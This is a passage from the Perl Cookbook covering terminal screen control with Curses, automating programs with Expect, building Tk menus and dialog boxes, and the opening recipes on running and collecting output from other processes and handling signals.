    my @data = `(@ARGV) 2>&1`;              # gather output+errors
    for (my $i = 0; $i < $LINES; $i++) {
        addstr($i, 0, $data[$i] || ' ' x $COLS);
    }

    standout();
    addstr($LINES-1, $COLS - 24, scalar localtime);
    standend();

    move(0,0);
    refresh();                              # flush new output to display

    my ($in, $out) = ('', '');
    vec($in,fileno(STDIN),1) = 1;           # look for key on stdin
    select($out = $in,undef,undef,$timeout);# wait up to this long
}

Curses lets you tell whether the user typed one of the arrow keys or those other funny keys, like HOME or INSERT. This is normally difficult, because those keys send multiple bytes. With Curses, it's easy:

keypad(1);                  # enable keypad mode
$key = getch();
if ($key eq 'k'     ||      # vi mode
    $key eq "\cP"   ||      # emacs mode
    $key eq KEY_UP)         # arrow mode
{
    # do something
}

Other Curses functions let you read the text at particular screen coordinates, control highlighting and standout mode, and even manage multiple windows.

The perlmenu module, also from CPAN, is built on top of the lower-level Curses module. It provides high-level access to menus and fill-out forms. Here's a sample form from the perlmenu distribution:

                      Template Entry Demonstration

   Address Data Example                                     Record # ___

   Name: [________________________________________________]
   Addr: [________________________________________________]
   City: [__________________]          State: [__]       Zip: [\\\\\]

   Phone: (\\\) \\\-\\\\                            Password: [^^^^^^^^]

   Enter all information available.
   Edit fields with left/right arrow keys or "delete".
   Switch fields with "Tab" or up/down arrow keys.
   Indicate completion by pressing "Return".
   Refresh screen with "Control-L".
   Abort this demo here with "Control-X".

The user types in the areas indicated, with regular text indicated by underline fields, numeric data by backslashed fields, and starred-out data with circumflexed fields. This is reminiscent of Perl's formats, except that forms are used for output, not input.

See Also

Your system's curses (3) manpage (if you have it); the documentation for the Curses and the perlmenu modules from CPAN; the section on "Formats" in Chapter 2 of Programming Perl, or perlform (1); Recipe 3.10

Previous: 15.11. Editing Input | Perl Cookbook | Next: 15.13. Controlling Another Program with Expect
15.11. Editing Input | Book Index | 15.13. Controlling Another Program with Expect


Recipe 15.13. Controlling Another Program with Expect

Perl CookbookSearch this book

15.13. Controlling Another Program with Expect

Problem

You want to automate interaction with a full-screen program that expects to have a terminal behind STDIN and STDOUT.

Solution

Use the Expect module from CPAN:

use Expect;

$command = Expect->spawn("program to run")
    or die "Couldn't start program: $!\n";

# prevent the program's output from being shown on our STDOUT
$command->log_stdout(0);

# wait 10 seconds for "Password:" to appear
unless ($command->expect(10, "Password")) {
    # timed out
}

# wait 20 seconds for something that matches /[lL]ogin: ?/
unless ($command->expect(20, -re => '[lL]ogin: ?')) {
    # timed out
}

# wait forever for "invalid" to appear
unless ($command->expect(undef, "invalid")) {
    # error occurred; the program probably went away
}

# send "Hello, world" and a carriage return to the program
print $command "Hello, world\r";

# if the program will terminate by itself, finish up with
$command->soft_close();

# if the program must be explicitly killed, finish up with
$command->hard_close();

Discussion

This module requires two other modules from CPAN: IO::Pty and IO::Stty. It sets up a pseudo-terminal to interact with programs that insist on using talking to the terminal device driver. People often use this for talking to passwd to change passwords. telnet (Net::Telnet, described in Recipe 18.6, is probably more suitable and portable) and ftp are also programs that expect a real tty.

Start the program you want to run with Expect->spawn, passing a program name and arguments either in a single string or as a list. Expect starts the program and returns an object representing that program, or undef if the program couldn't be started.

To wait for the program to emit a particular string, use the expect method. Its first argument is the number of seconds to wait for the string, or undef to wait forever. To wait for a string, give that string as the second argument to expect. To wait for a regular expression, give "-re" as the second argument and a string containing the pattern as the third argument. You can give further strings or patterns to wait for:

$which = $command->expect(30, "invalid", "succes", "error", "boom");
if ($which) {
    # found one of those strings
}

In scalar context, expect returns the number of arguments it matched. In the example above, expect would return 1 if the program emitted "invalid", 2 if it emitted "succes", and so on. If none of the patterns or strings matches, expect returns false.

In list context, expect returns a five-element list. The first element is the number of the pattern or string that matched, the same as its return value in scalar context. The second argument is a string indicating why expect returned. If there were no error, the second argument will be undef. Possible errors are "1:TIMEOUT", "2:EOF", "3:spawn id(...)died" and "4:...". (See the Expect (3) manpage for the precise meaning of these messages.) The third argument of expect's return list is the string matched. The fourth argument is text before the match, and the fifth argument is text after the match.

Sending input to the program you're controlling with Expect is as simple as using print. The only catch is that terminals, devices, and sockets all vary in what they send and expect as the line terminator - we've left the sanctuary of the C standard I/O library, so the behind-the-scenes conversion to "\n" isn't taking place. We recommend trying "\r" at first. If that doesn't work, try "\n" and "\r\n".

When you're finished with the spawned program, you have three options. One, you can continue with your main program, and the spawned program will be forcibly killed when the main program ends. This will accumulate processes, though. Two, if you know the spawned program will terminate normally either when it has finished sending you output or because you told it to stop - for example, telnet after you exit the remote shell - call the soft_close method. If the spawned program could continue forever, like tail -f, then use the hard_close method; this kills the spawned program.

See Also

The documentation for the Expect, IO::Pty, and IO::Stty modules from CPAN; Exploring Expect, by Don Libes, O'Reilly & Associates (1995).

Previous: 15.12. Managing the Screen | Perl Cookbook | Next: 15.14. Creating Menus with Tk
15.12. Managing the Screen | Book Index | 15.14. Creating Menus with Tk


Recipe 15.14. Creating Menus with Tk

Perl CookbookSearch this book

15.14. Creating Menus with Tk

Problem

You want to create a window that has a menu bar at the top.

Solution

Use the Tk Menubutton and Frame widgets:

use Tk;

$main = MainWindow->new();

# Create a horizontal space at the top of the window for the
# menu to live in.
$menubar = $main->Frame(-relief              => "raised",
                        -borderwidth         => 2)
                ->pack (-anchor              => "nw",
                        -fill                => "x");

# Create a button labeled "File" that brings up a menu
$file_menu = $menubar->Menubutton(-text      => "File",
                                  -underline => 1)
                     ->pack      (-side      => "left" );
# Create entries in the "File" menu
$file_menu->command(-label   => "Print",
                    -command => \&Print);

This is considerably easier if you use the -menuitems shortcut:

$file_menu = $menubar->Menubutton(-text     => "File",
                                 -underline => 1,
                                 -menuitems => [
              [ Button => "Print",-command  => \&Print ],
               [ Button => "Save",-command  => \&Save  ] ])
                           ->pack(-side     => "left");

Discussion

Menus in applications can be viewed as four separate components working together: Frames, Menubuttons, Menus, and Menu Entries. The Frame is the horizontal bar at the top of the window that the menu resides in (the menubar). Inside the Frame are a set of Menubuttons, corresponding to Menus: File, Edit, Format, Buffers, and so on. When the user clicks on a Menubutton, the Menubutton brings up the corresponding Menu, a vertically arranged list of Menu Entries.

Options on a Menu are labels (Open, for example) or separators (horizontal lines dividing one set of entries from another in a single menu).

The command entry, like Print in the File menu above, has code associated with it. When the entry is selected, the command is run by invoking the callback. These are the most common:

    $file_menu->command(-label   => "Quit Immediately",
                        -command => sub { exit } );

Separators don't have any action associated with them:

$file_menu->separator();

A checkbutton menu entry has an on value, an off value, and a variable associated with it. If the variable has the on value, the checkbutton menu entry has a check beside its label. If the variable has the off value, it does not. Selecting the entry on the menu toggles the state of the variable.

$options_menu->checkbutton(-label    => "Create Debugging File",
                           -variable => \$debug,
                           -onvalue  => 1,
                           -offvalue => 0);

A group of radiobuttons is associated with a single variable. Only one radiobutton associated with that variable can be on at any time. Selecting a radiobutton gives the variable the value associated with it:

$debug_menu->radiobutton(-label    => "Level 1",
                         -variable => \$log_level,
                         -value    => 1);

$debug_menu->radiobutton(-label    => "Level 2",
                         -variable => \$log_level,
                         -value    => 2);

$debug_menu->radiobutton(-label    => "Level 3",
                         -variable => \$log_level,
                         -value    => 3);

Create nested menus with the cascade menu entry. For instance, under Netscape Navigator, the File menu button at the left has a cascade menu entry New that brings up a selection of new windows. Creating a cascading menu entry is trickier than creating the other menu entries. You must create a cascade menu entry, fetch the new menu associated with that menu entry, and create entries on that new menu.

# step 1: create the cascading menu entry
$format_menu->cascade          (-label    => "Font");

# step 2: get the new Menu we just made
$font_menu = $format_menu->cget("-menu");

# step 3: populate that Menu
$font_menu->radiobutton        (-label    => "Courier",
                                -variable => \$font_name,
                                -value    => "courier");
$font_menu->radiobutton        (-label    => "Times Roman",
                                -variable => \$font_name,
                                -value    => "times");

A tear-off menu entry lets the user move the menu that it is on. By default, all Menubuttons and cascade menu entries make Menus that have a tear-off entry at the top of them. To create Menus without that default, use the -tearoff option:

$format_menu = $menubar->Menubutton(-text      => "Format",
                                    -underline => 1
                                    -tearoff   => 0)
                       ->pack;

$font_menu  = $format_menu->cascade(-label     => "Font",
                                    -tearoff   => 0);

The -menuitems option to Menubutton is a shorthand for creating these menubuttons. Pass it an array reference representing the options on the Menubutton. Each option is itself an anonymous array. The first two elements of the option array are the button type ("command", "radiobutton", "checkbutton", "cascade", or "tearoff") and the menu name.

Here's how to use menuitems to make an Edit menu:

my $f = $menubar->Menubutton(-text => "Edit", -underline => 0,
                              -menuitems =>
    [
     [Button => 'Copy',        -command => \&edit_copy ],
     [Button => 'Cut',         -command => \&edit_cut ],
     [Button => 'Paste',       -command => \&edit_paste  ],
     [Button => 'Delete',      -command => \&edit_delete ],
     [Separator => ''],
     [Cascade => 'Object ...', -tearoff => 0,
                               -menuitems => [
        [ Button => "Circle",  -command => \&edit_circle ],
        [ Button => "Square",  -command => \&edit_square ],
        [ Button => "Point",   -command => \&edit_point ] ] ],
    ])->grid(-row => 0, -column => 0, -sticky => 'w');

See Also

The documentation for the Tk module from CPAN

Previous: 15.13. Controlling Another Program with Expect | Perl Cookbook | Next: 15.15. Creating Dialog Boxes with Tk
15.13. Controlling Another Program with Expect | Book Index | 15.15. Creating Dialog Boxes with Tk


Recipe 15.15. Creating Dialog Boxes with Tk

Perl CookbookSearch this book

15.15. Creating Dialog Boxes with Tk

Problem

You want to create a dialog box, i.e., a new top-level window with buttons to make the window go away. The dialog box might also have other items, such as labels and text entry widgets for creating a fill-out form. You could use such a dialog box to collect registration information, and you want it to go away when registration is sent or if the user chooses not to register.

Solution

For simple jobs, use the Tk::DialogBox widget:

use Tk::DialogBox;

$dialog = $main->DialogBox( -title   => "Register This Program",
                            -buttons => [ "Register", "Cancel" ] );

# add widgets to the dialog box with $dialog->Add()

# later, when you need to display the dialog box
$button = $dialog->Show();
if ($button eq "Register") {
    # ...
} elsif ($button eq "Cancel") {
    # ...
} else {
    # this shouldn't happen
}

Discussion

A DialogBox has two parts: the bottom is a set of buttons, and the top has the widgets of your choosing. Showing a DialogBox pops it up and returns the button the user selected.

Example 15.6 contains a complete program demonstrating the DialogBox.

Example 15.6: tksample3

#!/usr/bin/perl -w
# tksample3 - demonstrate dialog boxes

use Tk;
use Tk::DialogBox;

$main = MainWindow->new();

$dialog = $main->DialogBox( -title   => "Register",
                            -buttons => [ "Register", "Cancel" ],
                           );

# the top part of the dialog box will let people enter their names,
# with a Label as a prompt

$dialog->add("Label", -text => "Name")->pack();
$entry = $dialog->add("Entry", -width => 35)->pack();

# we bring up the dialog box with a button
$main->Button( -text    => "Click Here For Registration Form",
               -command => \&register)    ->pack(-side => "left");
$main->Button( -text    => "Quit",
               -command => sub { exit } ) ->pack(-side => "left");

MainLoop;

#
# register
#
# Called to pop up the registration dialog box
#

sub register {
    my $button;
    my $done = 0;

    do {
        # show the dialog
        $button = $dialog->Show;

        # act based on what button they pushed
        if ($button eq "Register") {
                my $name = $entry->get;

            if (defined($name) && length($name)) {
                print "Welcome to the fold, $name\n";
                $done = 1;
            } else {
                print "You didn't give me your name!\n";
            }
        } else {
            print "Sorry you decided not to register.\n";
            $done = 1;
        }
    } until $done;
}

The top part of this DialogBox has two widgets: a label and a text entry. To collect more information from the user, we'd have more labels and text entries.

A common use of dialog boxes is to display error messages or warnings. The program in Example 15.7 demonstrates how to display Perl's warn function in a DialogBox.

Example 15.7: tksample4

#!/usr/bin/perl -w
# tksample4 - popup dialog boxes for warnings

use Tk;
use Tk::DialogBox;

my $main;

# set up a warning handler that displays the warning in a Tk dialog box

BEGIN {
    $SIG{__WARN__} = sub {
        if (defined $main) {
            my $dialog = $main->DialogBox( -title   => "Warning",
                                           -buttons => [ "Acknowledge" ]);
            $dialog->add("Label", -text => $_[0])->pack;
            $dialog->Show;
        } else {
            print STDOUT join("\n", @_), "n";
        }
    };
}

# your program goes here

$main = MainWindow->new();

$main->Button( -text   => "Make A Warning",
               -command => \&make_warning) ->pack(-side => "left");
$main->Button( -text   => "Quit",
               -command => sub { exit } )  ->pack(-side => "left");

MainLoop;

# dummy subroutine to generate a warning

sub make_warning {
    my $a;
    my $b = 2 * $a;
}

See Also

The Tk::DialogBox manpage in the documentation for the Tk module from CPAN; the menu (n) manpage (if you have it)

Previous: 15.14. Creating Menus with Tk | Perl Cookbook | Next: 15.16. Responding to Tk Resize Events
15.14. Creating Menus with Tk | Book Index | 15.16. Responding to Tk Resize Events


Recipe 15.16. Responding to Tk Resize Events

Perl CookbookSearch this book

15.16. Responding to Tk Resize Events

Problem

You've written a Tk program, but your widget layout goes awry when the user resizes their window.

Solution

You can prevent the user from resizing the window by intercepting the Configure event:

use Tk;

$main = MainWindow->new();

$main->bind('<Configure>' => sub {
    $xe = $main->XEvent;
    $main->maxsize($xe->w, $xe->h);
    $main->minsize($xe->w, $xe->h);
});

Or you can use pack to control how each widget resizes and expands when the user resizes its container:

$widget->pack( -fill => "both", -expand => 1 );
$widget->pack( -fill => "x",    -expand => 1 );

Discussion

By default, packed widgets resize if their container changes size - they don't scale themselves or their contents to the new size. This can lead to empty space between widgets, or cropped or cramped widgets if the user resizes the window.

One solution is to prevent resizing. We bind to the <Configure> event, which is sent when a widget's size or position changes, registering a callback to reset the window's size. This is how you'd ensure a popup error-message box couldn't be resized.

You often want to let the user resize the application's windows. You must then define how each widget will react. Do this through the arguments to the pack method: -fill controls the dimensions the widget will resize in, and -expand controls whether the widget's size will change to match available space. The -expand option takes a Boolean value, true or false. The -fill option takes a string indicating the dimensions the widget can claim space in: "x", "y", "both", or "none".

The solution requires both options. Without -fill, -expand won't claim space to grow into. Without -expand , -fill will claim empty space but won't expand in it.

Different parts of your application will behave differently. The main area of a web browser, for example, should probably change size in both dimensions when the window is resized. You'd pack the widget like this:

$mainarea->pack( -fill => "both", -expand => 1);

The menubar above the main area, though, should expand horizontally but not vertically. You'd pack the widget thus:

$menubar->pack( -fill => "x", -expand => 1 );

Associated with resizing is the need to anchor a widget to part of its container. Here's how you'd anchor the menubar to the top left corner of its container when you call pack:

$menubar->pack (-fill     => "x",
                -expand   => 1,
                -anchor   => "nw" );

Now when you resize it, the menubar stays at the top of the window where it belongs, instead of being centered in wide open space.

See Also

The pack (n), XEvent (3), and XConfigureEvent (3) manpages (if you have them); Tcl and the Tk Toolkit, by John Ousterhout, Addison-Wesley (1994)

Previous: 15.15. Creating Dialog Boxes with Tk | Perl Cookbook | Next: 15.17. Removing the DOS Shell Window with Windows Perl/Tk
15.15. Creating Dialog Boxes with Tk | Book Index | 15.17. Removing the DOS Shell Window with Windows Perl/Tk


Recipe 15.17. Removing the DOS Shell Window with Windows Perl/Tk

Perl CookbookSearch this book

15.17. Removing the DOS Shell Window with Windows Perl/Tk

Problem

You have written a Perl program for the Windows port of Perl and Tk, but you get a DOS shell window every time you start your program.

Solution

Start your program through another Perl script. The Perl script in Example 15.8 is a loader that starts realprogram without the DOS window.

Example 15.8: loader

#!/usr/bin/perl -w
# loader - starts Perl scripts without the annoying DOS window
use strict;
use Win32;
use Win32::Process;

# Create the process object.

Win32::Process::Create($Win32::Process::Create::ProcessObj,
    'C:/perl5/bin/perl.exe',            # Whereabouts of Perl
    'perl realprogram',                 #
    0,                                  # Don't inherit.
    DETACHED_PROCESS,                   #
    ".") or                             # current dir.
die print_error();

sub print_error() {
    return Win32::FormatMessage( Win32::GetLastError() );
}

Description

This program isn't as cryptic as it looks. You get the DOS box because your Perl binary was compiled as a console application. It needs a DOS window open to read STDIN and write STDOUT. This is fine for command-line applications, but there's no need for it if you're using Tk for all your user interaction.

This loader uses the Win32::Process module to run the real program in a new process. The process is detached from the current one, so when the loader ends, its DOS window will go away. Your real program will continue on in glorious freedom without the shackles of the past.

Should trouble strike and your real program not load, the loader dies with the Windows error message.

See Also

The documentation for the Win32::Process module, which is included with distributions of Perl destined for Microsoft systems

Previous: 15.16. Responding to Tk Resize Events | Perl Cookbook | Next: 15.18. Program: Small termcap program
15.16. Responding to Tk Resize Events | Book Index | 15.18. Program: Small termcap program


Recipe 15.18. Program: Small termcap program

Perl CookbookSearch this book

15.18. Program: Small termcap program

Description

This program clears your screen and scribbles all over it until you interrupt it. It shows how to use Term::Cap to clear the screen, move the cursor, and write anywhere on the screen. It also uses Recipe 16.6.

The program text is shown in Example 15.9.

Example 15.9: tcapdemo

#!/usr/bin/perl -w
# tcapdemo - show off direct cursor placement

use POSIX;
use Term::Cap;

init();                     # Initialize Term::Cap.
zip();                      # Bounce lines around the screen.
finish();                   # Clean up afterward.
exit();

# Two convenience functions.  clear_screen is obvious, and
# clear_end clears to the end of the screen.
sub clear_screen { $tcap->Tputs('cl', 1, *STDOUT) }
sub clear_end    { $tcap->Tputs('cd', 1, *STDOUT) }

# Move the cursor to a particular location.
sub gotoxy {
    my($x, $y) = @_;
    $tcap->Tgoto('cm', $x, $y, *STDOUT);
}

# Get the terminal speed through the POSIX module and use that
# to initialize Term::Cap.
sub init {
    $| = 1;
    $delay = (shift() || 0) * 0.005;
    my $termios = POSIX::Termios->new();
    $termios->getattr;
    my $ospeed = $termios->getospeed;
    $tcap = Term::Cap->Tgetent ({ TERM => undef, OSPEED => $ospeed });
    $tcap->Trequire(qw(cl cm cd));
}

# Bounce lines around the screen until the user interrupts with
# Ctrl-C.
sub zip {
    clear_screen();
    ($maxrow, $maxcol) = ($tcap->{_li} - 1, $tcap->{_co} - 1);

    @chars = qw(* - / | \ _ );
    sub circle { push(@chars, shift @chars); }

    $interrupted = 0;
    $SIG{INT} = sub { ++$interrupted };

    $col = $row = 0;
    ($row_sign, $col_sign) = (1,1);

    do {
        gotoxy($col, $row);
        print $chars[0];
        select(undef, undef, undef, $delay);

        $row += $row_sign;
        $col += $col_sign;

        if    ($row == $maxrow) { $row_sign = -1; circle; }
        elsif ($row == 0 )      { $row_sign = +1; circle; }

        if    ($col == $maxcol) { $col_sign = -1; circle; }
        elsif ($col == 0 )      { $col_sign = +1; circle; }

    } until $interrupted;

}

# Clean up the screen.
sub finish {
    gotoxy(0, $maxrow);
    clear_end();
}

This is what it looks like in mid-run:

*     _                       /     |                       \     -
 *   _ \                     - /   | /                     | \   - *
  * _   \                   -   / |   /                   |   \ -   *
   *     \                 -     |     /                 |     -     *
  _ *     \               -     | /     /               |     - \     *
 _   *     \             -     |   /     /             |     -   \     *
*     *     \           -     |     /     /           |     -     \     *
 *     *     \         -     |       /     /         |     -       \     *
  *     *     \       -     |         /     /       |     -         \     *
   *     *     \     -     |           /     /     |     -           \     *
    *     *     \   -     |             /     /   |     -             \     *
     *     *     \ -     |               /     / |     -               \
      *     -     \     |                 /     /     -                 \
       *   - *   - \   |                   /   | /   -                   \
        * -   * -   \ |                     / |   / -                     \ _
         -     -     \                       |     /                       _

See Also

termcap (5) (if you have it); the documentation for the standard Term::Cap module

Previous: 15.17. Removing the DOS Shell Window with Windows Perl/Tk | Perl Cookbook | Next: 15.19. Program: tkshufflepod
15.17. Removing the DOS Shell Window with Windows Perl/Tk | Book Index | 15.19. Program: tkshufflepod


Recipe 15.19. Program: tkshufflepod

Perl CookbookSearch this book

15.19. Program: tkshufflepod

This short program uses Tk to list the =head1 sections in the file using the Listbox widget, and it lets you drag the sections around to reorder them. When you're done, press "s" or "q" to save or quit. You can even double-click on a section to view it with the Pod widget. It writes the section text to a temporary file in /tmp and removes the file when the Pod widget is destroyed.

Call it with the name of the Pod file to view:

% tkshufflepod chap15.pod

We used this a lot when we wrote this book.

The program text is shown in Example 15.10.

Example 15.10: tkshufflepod

#!/usr/bin/perl -w
# tkshufflepod - reorder =head1 sections in a pod file

use Tk;
use strict;

# declare variables

my $podfile;     # name of the file to open
my $m;           # main window
my $l;           # listbox
my ($up, $down);   # positions to move
my @sections;      # list of pod sections
my $all_pod;       # text of pod file (used when reading)

# read the pod file into memory, and split it into sections.

$podfile = shift || "-";

undef $/;
open(F, "< $podfile")
  or die "Can't open $podfile : $!\n";
$all_pod = <F>;
close(F);
@sections = split(/(?==head1)/, $all_pod);

# turn @sections into an array of anonymous arrays.  The first element
# in each of these arrays is the original text of the message, while
# the second element is the text following =head1 (the section title).

foreach (@sections) {
    /(.*)/;
    $_ = [ $_, $1 ];
}

# fire up Tk and display the list of sections.

$m = MainWindow->new();
$l = $m->Listbox('-width' => 60)->pack('-expand' => 1, '-fill' => 'both');

foreach my $section (@sections) {
    $l->insert("end", $section->[1]);
}

# permit dragging by binding to the Listbox widget.
$l->bind( '<Any-Button>'     => \&down );
$l->bind( '<Any-ButtonRelease>' => \&up );

# permit viewing by binding double-click
$l->bind( '<Double-Button>'     => \&view );

# 'q' quits and 's' saves
$m->bind( '<q>'     => sub { exit } );
$m->bind( '<s>'     => \&save );

MainLoop;

# down(widget): called when the user clicks on an item in the Listbox.

sub down {
    my $self = shift;
    $down = $self->curselection;;
}

# up(widget): called when the user releases the mouse button in the
# Listbox.

sub up {
    my $self = shift;
    my $elt;

    $up = $self->curselection;;

    return if $down == $up;

    # change selection list
    $elt = $sections[$down];
    splice(@sections, $down, 1);
    splice(@sections, $up, 0, $elt);

    $self->delete($down);
    $self->insert($up, $sections[$up]->[1]);
}

# save(widget): called to save the list of sections.

sub save {
    my $self = shift;

    open(F, "> $podfile")
      or die "Can't open $podfile for writing: $!";
    print F map { $_->[0] } @sections;
    close F;

    exit;
}

# view(widget): called to display the widget.  Uses the Pod widget.

sub view {
    my $self = shift;
    my $temporary = "/tmp/$$-section.pod";
    my $popup;

    open(F, "> $temporary")
      or warn ("Can't open $temporary : $!\n"), return;
    print F $sections[$down]->[0];
    close(F);
    $popup = $m->Pod('-file' => $temporary);

    $popup->bind('<Destroy>' => sub { unlink $temporary } );
}

Previous: 15.18. Program: Small termcap program | Perl Cookbook | Next: 16. Process Management and Communication
15.18. Program: Small termcap program | Book Index | 16. Process Management and Communication


[Chapter 16] Process Management and Communication

Perl CookbookSearch this book
Previous: 15.19. Program: tkshufflepod Chapter 16 Next: 16.1. Gathering Output from a Program

16. Process Management and Communication

Contents:
Introduction
Gathering Output from a Program
Running Another Program
Replacing the Current Program with a Different One
Reading or Writing to Another Program
Filtering Your Own Output
Preprocessing Input
Reading STDERR from a Program
Controlling Input and Output of Another Program
Controlling the Input, Output, and Error of Another Program
Communicating Between Related Processes
Making a Process Look Like a File with Named Pipes
Sharing Variables in Different Processes
Listing Available Signals
Sending a Signal
Installing a Signal Handler
Temporarily Overriding a Signal Handler
Writing a Signal Handler
Catching Ctrl-C
Avoiding Zombie Processes
Blocking Signals
Timing Out an Operation
Program: sigrand

It is quite a three-pipe problem, and I beg that you won't speak to me for fifty minutes.

- Sherlock Holmes The Red-Headed League

16.0. Introduction

Perl may be many things to many people, but to most of us it is the glue that connects diverse components. This chapter is about launching commands and connecting separate processes together. It's about managing their creation, communication, and ultimate demise. It's about systems programming.

When it comes to systems programming, Perl, as usual, makes easy things easy and hard things possible. If you want to use it as you would the shell, Perl is happy to assist you. If you want to roll up your sleeves for low-level hacking like a hardcore C programmer, you can do that, too.

Because Perl lets you get so close to the system, portability issues can sneak in. This chapter is the most Unix-centric chapter of the book. It will be tremendously useful to those on Unix systems, but only of limited use to others. We deal with features that aren't as universal as strings and numbers and basic arithmetic. Most basic operations work more or less the same everywhere. But if you're not using some kind of Unix or other POSIX conformant system, most of the interesting features in this chapter may work differently for you - or not at all. Check the documentation that came with your Perl port if you aren't sure.

Process Creation

In this chapter, we cover the proper care and feeding of your own child processes. Sometimes this means launching a stand-alone command and letting it have its own way with the world (using system). Other times it means keeping a tight rein on your child, feeding it carefully filtered input or taking hold of its output stream (backticks and piped opens). Without even starting a new process, you can use exec to replace your current program with a completely different program.

We first show how to use the most portable and commonly used operations for managing processes: backticks, system , open , and the manipulation of the %SIG hash. Those are the easy things, but we don't stop there. We also show what to do when the simple approach isn't good enough.

For example, you might want to interrupt your program while it's running a different program. Maybe you need to process a child program's standard error separately from its standard output. Perhaps you need to control both the input and output of a program simultaneously. When you tire of having just one thread of control and begin to take advantage of multitasking, you'll want to learn how to split your current program into several, simultaneously running processes that all talk to each other.

For tasks like these, you have to drop back to the underlying system calls: pipe, fork , and exec. The pipe function creates two connected filehandles, a reader and writer, whereby anything written to the writer can be read from the reader. The fork function is the basis of multitasking, but unfortunately it has not been supported on all non-Unix systems. It clones off a duplicate process identical in virtually every aspect to its parent, including variable settings and open files. The most noticable changes are the process ID and parent process ID. New programs are started by forking, then using exec to replace the program in the child process with a new one. You don't always both fork and exec together, so having them as separate primitives is more expressive and powerful than if all you could do is run system . In practice, you're more apt to use fork by itself than exec by itself.

When a child process dies, its memory is returned to the operating system, but its entry in the process table isn't freed. This lets a parent check the exit status of its child processes. Processes that have died but haven't been removed from the process table are called zombies, and you should clean them up lest they fill the whole process table. Backticks and the system and open functions automatically take care of this, and will work on most non-Unix systems. You have more to worry about when you go beyond these simple portable functions and use low-level primitives to launch programs. One thing to worry about is signals.

Signals

Your process is notified of the death of a child it created with a signal. Signals are a kind of notification delivered by the operating system. They are used for errors (when the kernel says, "Hey, you can't touch that area of memory!") and for events (death of a child, expiration of a per-process timer, interrupt with Ctrl-C). If you're launching processes manually, you normally arrange for a subroutine of your choosing to be called whenever one of your children exits.

Each process has a default disposition for each possible signal. You may install your own handler or otherwise change the disposition of most signals. Only SIGKILL and SIGSTOP cannot be changed. The rest you can ignore, trap, or block.

Briefly, here's a rundown of the more important signals:

SIGINT

is normally triggered by Ctrl-C. This requests that a process interrupt what it's doing. Simple programs like filters usually just die, but more important ones like shells, editors, or FTP programs usually use SIGINT to stop long-running operations so you can tell them to do something else.

SIGQUIT

is also normally generated by a terminal, usually Ctrl-\. Its default behavior is to generate a core dump.

SIGTERM

is sent by the kill shell command when no signal name is explicitly given. Think of it as a polite request for a process to die.

SIGUSR1 and SIGUSR2

are never caused by system events, so user applications can safely use them for their own purposes.

SIGPIPE

is sent by the kernel when your process tries to write to a pipe or socket when the process on the other end has closed its connection, usually because it no longer exists.

SIGALRM

is sent when the timer set by the alarm function expires, as described in Recipe 16.21.

SIGHUP

is sent to a process when its controlling terminal gets a hang-up (e.g., the modem lost its carrier), but it also often indicates that a program should restart or reread its configuration.

SIGCHLD

is probably the most important signal when it comes to low-level systems programming. The system sends your process a SIGCHLD when one of its child processes stops running - or, more likely, when that child exits. See Recipe 16.19 for more on SIGCHLD.

Signal names are a convenience for humans. Each signal has an associated number that the operating system uses instead of names. Although we talk about SIGCHLD, your operating system only knows it as a number, like 20 (these numbers vary across operating systems). Perl translates between signal names and numbers for you, so you can think in terms of signal names.

Recipes Recipe 16.15, Recipe 16.17, Recipe 16.21, Recipe 16.18, and Recipe 16.20 run the full gamut of signal handling.

Previous: 15.19. Program: tkshufflepod | Perl Cookbook | Next: 16.1. Gathering Output from a Program
15.19. Program: tkshufflepod | Book Index | 16.1. Gathering Output from a Program


Recipe 16.1. Gathering Output from a Program

Perl CookbookSearch this book

16.1. Gathering Output from a Program

Problem

You want to run a program and collect its output into a variable.

Solution

Either use backticks:

$output = `program args`;   # collect output into one multiline string
@output = `program args`;   # collect output into array, one line per element

Or use Recipe 16.4:

open(README, "program args |") or die "Can't run program: $!\n";
while(<README>) {
    $output .= $_;
}
close(README);

Discussion

The backticks are a convenient way to run other programs and gather their output. The backticks do not return until the called program exits. Perl goes to some trouble behind the scenes to collect the output, so it is inefficient to use the backticks and ignore their return value:

`fsck -y /dev/rsd1a`;       # BAD AND SCARY

Both the open function and the backtick operator call the shell to run their commands. This makes them unsafe when used in a program with special privileges.

A high-level workaround is given in Recipe 19.6. Here's a low-level workaround, using pipe, fork, and exec:

use POSIX qw(:sys_wait_h);

pipe(README, WRITEME);
if ($pid = fork) {
    # parent
    $SIG{CHLD} = sub { 1 while ( waitpid(-1, WNOHANG)) > 0 };
    close(WRITEME);
} else {
    die "cannot fork: $!" unless defined $pid;
    # child
    open(STDOUT, ">&=WRITEME")      or die "Couldn't redirect STDOUT: $!";
    close(README);
    exec($program, $arg1, $arg2)    or die "Couldn't run $program : $!\n";
}

while (<README>) {
    $string .= $_;
    # or  push(@strings, $_);
}
close(README);

See Also

The section on "Cooperating with Strangers" in Chapter 6 of Programming Perl, or perlsec (1); Recipe 16.2; Recipe 16.4; Recipe 16.10; Recipe 16.19; Recipe 19.6

Previous: 16.0. Introduction | Perl Cookbook | Next: 16.2. Running Another Program
16.0. Introduction | Book Index | 16.2. Running Another Program


Recipe 16.2. Running Another Program

Perl CookbookSearch this book

16.2. Running Another Program

Problem

You want to run another program from your own, pause until the other program is done, and then continue. The other program should have same STDIN and STDOUT as you have.

Solution

Call system with a string to have the shell interpret the string as a command line:

$status = system("vi $myfile");

If you don't want the shell involved, pass system a list:

$status = system("vi", $myfile);

Discussion

The system function is the simplest and most generic way to run another program in Perl. It doesn't gather the program's STDOUT like backticks or open. Instead, its return value is (essentially) that program's exit status. While the new program is running, your main program is suspended, so the new program can read from your STDIN and write to your STDOUT so users can interact with it.

Like open, exec, and backticks, system uses the shell to start the program whenever it's called with one argument. This is convenient when you want to do redirection or other tricks:

system("cmd1 args | cmd2 | cmd3 >outfile");
system("cmd args <infile >outfile 2>errfile");

To avoid the shell, call system with a list of arguments:

$status = system($program, $arg1, $arg);
die "$program exited funny: $?" unless $status == 0;

The returned status value is not just the exit value: it includes the signal number (if any) that the process died from. This is the same value that wait sets $? to. See Recipe 16.19 to learn how to decode this value.

The system function (but not backticks) ignores SIGINT and SIGQUIT while child processes are running. That way those signals will kill only the child process. If you want your main program to die as well, check the return value of system, or the value of the $? variable.

if (($signo = system(@arglist)) &= 127) {
    die "program killed by signal $signo\n";
}

To get the effect of a system that ignores SIGINT, install your own signal handler and then manually fork and exec:

if ($pid = fork) {
    # parent catches INT and berates user
    local $SIG{INT} = sub { print "Tsk tsk, no process interruptus\n" };
    waitpid($pid, 0);
} else {
    die "cannot fork: $!" unless defined $pid;
    # child ignores INT and does its thing
